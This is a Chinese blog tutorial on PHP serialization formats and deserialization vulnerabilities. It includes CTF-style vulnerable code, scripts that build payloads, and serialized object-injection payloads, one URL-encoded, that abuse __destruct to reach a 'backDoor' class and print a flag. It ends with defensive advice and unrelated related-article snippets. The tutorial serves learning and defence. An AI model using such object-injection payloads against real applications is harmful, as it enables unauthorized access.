序列化与反序列化基础及反序列化漏洞(附案例)
参考文章:
[web安全原理]PHP反序列化漏洞 - 笑花大王 - 博客园 (cnblogs.com)
一、概念
为了能有效的存储数据而不丢失数据的类型和内容,经常需要通过序列化对数据进行处理,将数据进行序列化后,会生成一个字符串,字符串包含了序列化前的数据的信息,交由反序列化函数处理后,即可复原数据。
而在PHP中常用的序列化和反序列化函数则有:序列化函数(serialize、json_encode),反序列化函数(unserialize、json_decode)
二、PHP序列化
这里着重介绍serialize函数
1、NULL序列化
NULL将被序列化为N;:
示例代码:
<?php
$text = NULL;
echo serialize($text);
输出结果:
![]()
2、Boolean序列化
bool类型将被序列化为(b:value;):
示例代码:
<?php
$text = true;
echo serialize($text);
输出结果:

3、int序列化
int类型将被序列化为(i:value;):
由于在PHP中声明变量时不需要显式的将数据类型标出,因此当超出了int类型的范围(通常是-2,147,483,648到2,147,483,647)时,会被PHP解析为double类型
示例代码:
<?php
$text = 123;
echo serialize($text);
输出结果:
![]()
4、double序列化
double类型将被序列化为(d:value;):
在PHP中类似于1.23和超出int类型范围(如:123124315213412512)的数据,通常都会被解释为double类型
示例代码:
<?php
$text = 12.3;
$text1 = 123124124124123124;
echo serialize($text)."<br>";
echo serialize($text1);
输出结果:

5、String序列化
String类型将被序列化为(s:length:"value"):
示例代码:
<?php
$text = "e3xplolt-hada";
echo serialize($text);
输出结果:
6、Array序列化
Array将被序列化为(a:length:{i:index;value(对应数据序列化后的结果如NULL则是N;);}):
示例代码:
<?php
$text = array();
$text[0] = NULL;
$text[1] = true;
$text[2] = 123;
$text[3] = 1.23;
$text[4] = 123124315213412512;
$text[5] = "e3xplolt-hada";
echo serialize($text);
输出结果:
![]()
7、Object序列化*
Obeject将被序列化为
(O:class_name_length:"class_name":value_num:{s:value_attribute(1,2+class_name_length+value_name_length,3+value_name_length):"value_name";value_type:value;})若属性为private则value_name为(class_name.value_name),若属性为protected则value_name为(*.value_name)
注: class_name=类名、class_name_length=类名长度
value_name=变量名、value_name_length=变量名长度、value_type=变量类型(如int、bool)、value_attribute=变量属性(如public、private和protected)、value_num=变量个数
其中value_attribute后的1,2,3则分别代表public,private,protected,如在test1类内有一个变量为private $b="789",则序列化后value_attribute值为2+class_name_length(test1长度为5)+value_name_length(b长度为1),即2+5+1=8,所以为8
示例代码:
<?php
class test1{public $a;private $b="789";private $ca="aacc";protected $c123=456;
}
$test = new test1;
$test -> a = 123;
echo serialize($test);
输出结果:
O:5:"test1":4:{s:1:"a";i:123;s:8:"test1b";s:3:"789";s:9:"test1ca";s:4:"aacc";s:7:"*c123";i:456;}
三、PHP反序列化
1、魔术方法
__wake与__unserialize
当对序列化后的对象进行反序列化时,在PHP存在类似于__wakeup和__unserialize魔术方法,每次unserialize函数对对象进行反序列化操作时,都会尝试调用这个对象所属类中的__wakeup和__unserialize方法,如果存在就会执行
注:若__wakeup和__unserialize方法同时存在,则__wakeup方法会被无视
示例代码:
<?php
class test1{public $a;public function __wakeup(){echo "<br>"."e3xplolt-hada";}
}
$test = new test1;
$test -> a = 123;
echo serialize($test);
$test123=serialize($test);
$test=unserialize($test123);
输出结果:

__destruct
该魔术方法会在某个对象不再被调用或者对象被销毁时调用
示例代码:
<?php
class test1{public $a;public function __destruct(){echo "<br>"."e3xplolt-hada";}
}
$test = new test1;
$test -> a = 123;
输出结果:

四、反序列化漏洞
1、漏洞成因
反序列化函数传入参数可控
类内存在魔法函数
2、案例分析
unserialize函数传参可控
<?php
include "./flag.php";
class user{public $password="xxxxxx";public $username="xxxxxx";public $isadmin='e3xplolt-hada';public function login($u,$p,$id){if($this->username===$u&&$this->password===$p){$this->checkadmin($id); }}public function checkadmin($id){if($id===$this->isadmin){global $flag;echo "hello,admin:".$flag;}}
}
$user=unserialize($_GET['ser']);
$user->login($user->username,$user->password,$user->isadmin);
分析代码:
我们可以发现在函数unserialize中存在可控制的变量$_GET['ser'],同时他会在之后调用该类下的login方法,因此正常业务逻辑应为传输用户序列化后的信息给unserialize函数,再通过login进行登录并检测权限,但由于这里的传参未经正确的处理因此产生反序列化漏洞。这里可通过构造一个对象其$password变量为xxxxxx,$username变量为xxxxxx,$isadmin变量为e3xplolt-hada即可,因此我们有如下脚本可生成payload
脚本代码:
<?php
class user{public $password="xxxxxx";public $username="xxxxxx";public $isadmin='e3xplolt-hada';
}
$text = new user;
echo serialize($text);
payload:
O:4:"user":3:{s:8:"password";s:6:"xxxxxx";s:8:"username";s:6:"xxxxxx";s:7:"isadmin";s:13:"e3xplolt-hada";}
输出结果为:hello,admin:flag{hardtowork}
魔术方法使用不当
<?php
include "./flag.php";
class user{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){if($this->code==="givemeflag"){global $flag;echo $flag;}}
}
$user = unserialize($_GET['ser']);
分析代码:
分析代码可知如果我们想要获取flag,我们需要尝试用一个属于backDoor类的对象,去调用getInfo方法,并且该对象的私有变量code必须是字符串"givemeflag"。
通过观察类user发现他会在创建一个新对象时,创建一个Info类的对象,并存储在class中。
同时我们发现,当user类下的对象不再被调用或被销毁时会调用class所存储的对象所属类下的getInfo方法。
从上面的分析我们可以得出突破口在__destruct方法中,若我们利用$user = unserialize($_GET['ser']);传入一个对象,该对象内部的变量class所存储的对象属于backDoor类,且该对象内的code变量值为"givemeflag",当对象被销毁时,则会自动调用backDoor类下的getInfo函数,获取flag
脚本代码:
<?php
class user{private $username='xxxxxx';private $password='xxxxxx';private $isVip=ture; private $class = 'backDoor';public function __construct(){$this->class=new backDoor();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}
}
class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}
class backDoor{private $code="givemeflag";public function getInfo(){if($this->code==="givemeflag"){global $flag;echo $flag;}}
}
$p=new user();
$a=serialize($p);
echo urlencode($a);
payload:
O%3A4%3A%22user%22%3A4%3A%7Bs%3A14%3A%22%00user%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A14%3A%22%00user%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A11%3A%22%00user%00isVip%22%3Bs%3A4%3A%22ture%22%3Bs%3A11%3A%22%00user%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A10%3A%22givemeflag%22%3B%7D%7D
注:需保留URL编码,否则不认,原因暂不清楚
五、防御手段
针对反序列化漏洞,我们需要着重观察函数unserialize及json_decode,注意可控参数的过滤
同时关注类中如果出现魔术方法如__unserialize、__wakeup、__destruct时,需谨慎对待,过滤传参,保护其下的敏感函数如eval,system等
相关文章:
序列化与反序列化基础及反序列化漏洞(附案例)
参考文章: [web安全原理]PHP反序列化漏洞 - 笑花大王 - 博客园 (cnblogs.com) 一、概念 为了能有效的存储数据而不丢失数据的类型和内容,经常需要通过序列化对数据进行处理,将数据进行序列化后,会生成一个字符串,字符…...
Khronos:动态环境下时空度量语义SLAM的统一方法
Khronos: A Unified Approach for Spatio-Temporal Metric-Semantic SLAM in Dynamic Environments 原文 项目 引言: 人类居住环境通常是高度动态的,人、机器人和其他实体不断移动、互动和改变场景。对于机器人在这种情况下的操作,仅仅建立一…...
一个迷茫的25岁前端程序员的自述
作者:一尾流莺 一直听说程序员的危机在 35 岁,没想到我的危机从 25 岁就开始了。 我甚至不知道自己是不是 25 岁,也可能是 26 岁,或者 27 岁,1998 年的生日,按照 2023 - 1998 的算法就是 25,按…...
多文件并发多线程MD5工具(相对快速的MD5一批文件),适配自定义MD5 Hash I/O缓存。
自己写的多文件 MD5校验工具,一个文件开一个线程,有最大I/O 缓存设置,兼容读写MD5后缀文件。 共计91个文件,合计180G左右 12分钟左右,UI基本卡废,但程序没蹦,属于正常。 卡的原因是基本是用 I/O…...
Pikachu-url重定向-不安全的url跳转
不安全的url跳转 不安全的url跳转问题可能发生在一切执行了url地址跳转的地方。如果后端采用了前端传进来的(可能是用户传参,或者之前预埋在前端页面的url地址)参数作为了跳转的目的地,而又没有做判断的话就可能发生"跳错对象"的问题。 url跳转比较直接的危害是: …...
如何下载和安装CLion,图文详解
一、下载 登录JetBrains官网,下载最新版本的Clion,Clion目前没有社区版,都是专业版。 二、安装 1、启动Clion安装程序,下一步。 2、修改安装目录,下一步。 3、创建桌面快捷方式,更新PATH变量࿰…...
vue3导入本地图片2种实现方法
在<script setup>中使用import语法: <template><img :src"logo" alt"Logo"> </template><script setup> import logo from ./assets/logo.png; </script> 使用Vue的ref来动态地在<script setup>中…...
leetcode 刷题day36动态规划Part05 背包问题(完全背包、518. 零钱兑换 II、377. 组合总和 Ⅳ、70. 爬楼梯 (进阶))
完全背包 完全背包的每件商品都有无限个,和01背包的一不同主要体现在遍历顺序上。为了保证每个物品仅被添加一次,01背包内嵌的循环是从大到小遍历。而完全背包的物品是可以添加多次的,所以要从小到大去遍历。 518. 零钱兑换 II 思路&#…...
检查jar冲突,查找存在相同class的jar
写在前面 本文看下如何查找jar冲突,即查找哪些jar包中存在相同的class。如果是存在相同jar的不同版本,基本一眼就能看出来,然后结合maven的依赖关系将其剔除掉即可,但是当你遇到了有人手动拷贝某些class到jar包中导致冲突的情况时…...
PhpStudy-PHP5.4.45后门漏洞应用程序(C++/base64/winhttp)
PhpStudy-PHP5.4.45后门漏洞应用程序(C/base64/winhttp) 前言引言(时间回到多年前) PhpShellCmd.exe使用介绍:(1)输入网址检测是否存在PHP/5.4.45(2)whoami(3…...
【优选算法】(第二十七篇)
目录 重排链表(medium) 题目解析 讲解算法原理 编写代码 合并K个升序链表(hard) 题目解析 讲解算法原理 编写代码 重排链表(medium) 题目解析 1.题目链接:. - 力扣(LeetCod…...
学习Flask框架
Flask简介 Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。Flask使用 BSD 授权。 Flask也被称为 “microframework” ,因为它使用简单的核心,用 extension 增加其他功能。Flask没…...
Elasticsearch:使用 LLM 实现传统搜索自动化
作者:来自 Elastic Han Xiang Choong 这篇简短的文章是关于将结构化数据上传到 Elastic 索引,然后将纯英语查询转换为查询 DSL 语句,以使用特定过滤器和范围搜索特定条件。完整代码位于此 Github repo 中。 首先,运行以下命令安装…...
人脸表情行为识别系统源码分享
人脸表情行为识别系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vis…...
ThreadLocal原理解析及面试
基本使用 讲原理之前,我简单写个demo小程序说说怎么使用 public class TestThreadLocal {public static void main(String[] args) throws InterruptedException {ThreadLocal<String> tl new ThreadLocal();/**主线程设置了一个值*/tl.set("SSSSSs&…...
探索未来:mosquitto-python,AI领域的新宠
文章目录 探索未来:mosquitto-python,AI领域的新宠背景:为何选择mosquitto-python?库简介:mosquitto-python是什么?安装指南:如何安装mosquitto-python?函数用法:5个简单…...
C++版iwanna1
第一篇目录 开头程序Game.cpp源文件Player.h头文件Player.cpp源文件trigger.h头文件trigger.cpp源文件Cmp.h头文件Cmp.cpp源文件 开头 大家好,我叫这是我58。 程序 Game.cpp源文件 #define _CRT_SECURE_NO_WARNINGS 1 #include <iostream> #include <c…...
LSTM变种模型
一、GRU 1.概念 GRU(门控循环单元,Gated Recurrent Unit)是一种循环神经网络(RNN)的变体,旨在解决标准 RNN 在处理长期依赖关系时遇到的梯度消失问题。GRU 通过引入门控机制简化了 LSTM(长短期…...
Python进阶--函数进阶
目录 1. 函数多返回值 2. 函数多种传参方式 (1). 位置参数 (2). 关键字参数 (3). 缺省参数 (4). 不定长参数 3. 匿名函数 (1). 函数作为参数传递 (2). lambda匿名函数 1. 函数多返回值 def return_num():return 1# 返回1之后就不会再向下继续执行函数体return 2 resu…...
elasticsearch 8.2 设置账号密码
背景:单节点集群数据写入测试-CSDN博客 前述项目支持设置账号密码,但8+版本似乎不能那么做了。 ERROR: [1] bootstrap checks failed. You must address the points described in the following [1] lines before starting Elasticsearch. bootstrap check failure [1] of…...
label-studio的使用教程(导入本地路径)
文章目录 1. 准备环境2. 脚本启动2.1 Windows2.2 Linux 3. 安装label-studio机器学习后端3.1 pip安装(推荐)3.2 GitHub仓库安装 4. 后端配置4.1 yolo环境4.2 引入后端模型4.3 修改脚本4.4 启动后端 5. 标注工程5.1 创建工程5.2 配置图片路径5.3 配置工程类型标签5.4 配置模型5.…...
【Oracle APEX开发小技巧12】
有如下需求: 有一个问题反馈页面,要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据,方便管理员及时处理反馈。 我的方法:直接将逻辑写在SQL中,这样可以直接在页面展示 完整代码: SELECTSF.FE…...
MMaDA: Multimodal Large Diffusion Language Models
CODE : https://github.com/Gen-Verse/MMaDA Abstract 我们介绍了一种新型的多模态扩散基础模型MMaDA,它被设计用于在文本推理、多模态理解和文本到图像生成等不同领域实现卓越的性能。该方法的特点是三个关键创新:(i) MMaDA采用统一的扩散架构…...
【CSS position 属性】static、relative、fixed、absolute 、sticky详细介绍,多层嵌套定位示例
文章目录 ★ position 的五种类型及基本用法 ★ 一、position 属性概述 二、position 的五种类型详解(初学者版) 1. static(默认值) 2. relative(相对定位) 3. absolute(绝对定位) 4. fixed(固定定位) 5. sticky(粘性定位) 三、定位元素的层级关系(z-i…...
linux arm系统烧录
1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
Pinocchio 库详解及其在足式机器人上的应用
Pinocchio 库详解及其在足式机器人上的应用 Pinocchio (Pinocchio is not only a nose) 是一个开源的 C 库,专门用于快速计算机器人模型的正向运动学、逆向运动学、雅可比矩阵、动力学和动力学导数。它主要关注效率和准确性,并提供了一个通用的框架&…...
MySQL 索引底层结构揭秘:B-Tree 与 B+Tree 的区别与应用
文章目录 一、背景知识:什么是 B-Tree 和 BTree? B-Tree(平衡多路查找树) BTree(B-Tree 的变种) 二、结构对比:一张图看懂 三、为什么 MySQL InnoDB 选择 BTree? 1. 范围查询更快 2…...
Docker拉取MySQL后数据库连接失败的解决方案
在使用Docker部署MySQL时,拉取并启动容器后,有时可能会遇到数据库连接失败的问题。这种问题可能由多种原因导致,包括配置错误、网络设置问题、权限问题等。本文将分析可能的原因,并提供解决方案。 一、确认MySQL容器的运行状态 …...
xmind转换为markdown
文章目录 解锁思维导图新姿势:将XMind转为结构化Markdown 一、认识Xmind结构二、核心转换流程详解1.解压XMind文件(ZIP处理)2.解析JSON数据结构3:递归转换树形结构4:Markdown层级生成逻辑 三、完整代码 解锁思维导图新…...
